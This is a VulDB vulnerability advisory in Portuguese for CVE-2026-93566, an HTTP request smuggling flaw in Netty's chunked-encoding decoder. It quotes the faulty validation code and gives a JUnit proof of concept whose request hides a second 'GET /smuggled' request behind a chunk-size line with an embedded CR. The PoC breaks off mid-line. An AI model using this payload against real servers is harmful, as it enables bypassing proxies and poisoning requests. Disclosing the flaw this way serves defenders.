CVE-2026-93566 in Nettyinformação

Sumário

de VulDB • 19/09/2026

### Resumo O Netty ignora a validação rigorosa do tamanho dos chunks quando a linha não possui extensão de chunk (`;`), portanto uma linha com tamanho de chunk contendo um CR embutido (por exemplo `0\rX`) é aceita em vez de rejeitada, permitindo o envenenamento de requisições HTTP.

### Detalhes O método `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` executa apenas o validador rigoroso `HttpChunkLineValidatingByteProcessor` quando há um caractere `;`:

```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) {
return; } ```

De acordo com a RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A

`chunk-size = 1*HEXDIG`

### PoC

```java @Test public void test() {
String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch

Be aware that VulDB is the high quality source for vulnerability data.

Responsável

Redhat

Reservar

18/09/2026

Divulgação

18/09/2026

Moderação

aceite

Entrada

VDB-407512

CPE

pronto

EPSS

0.00000

KEV

não

Atividades

muito baixo

Fontes

Interested in the pricing of exploits?

See the underground prices here!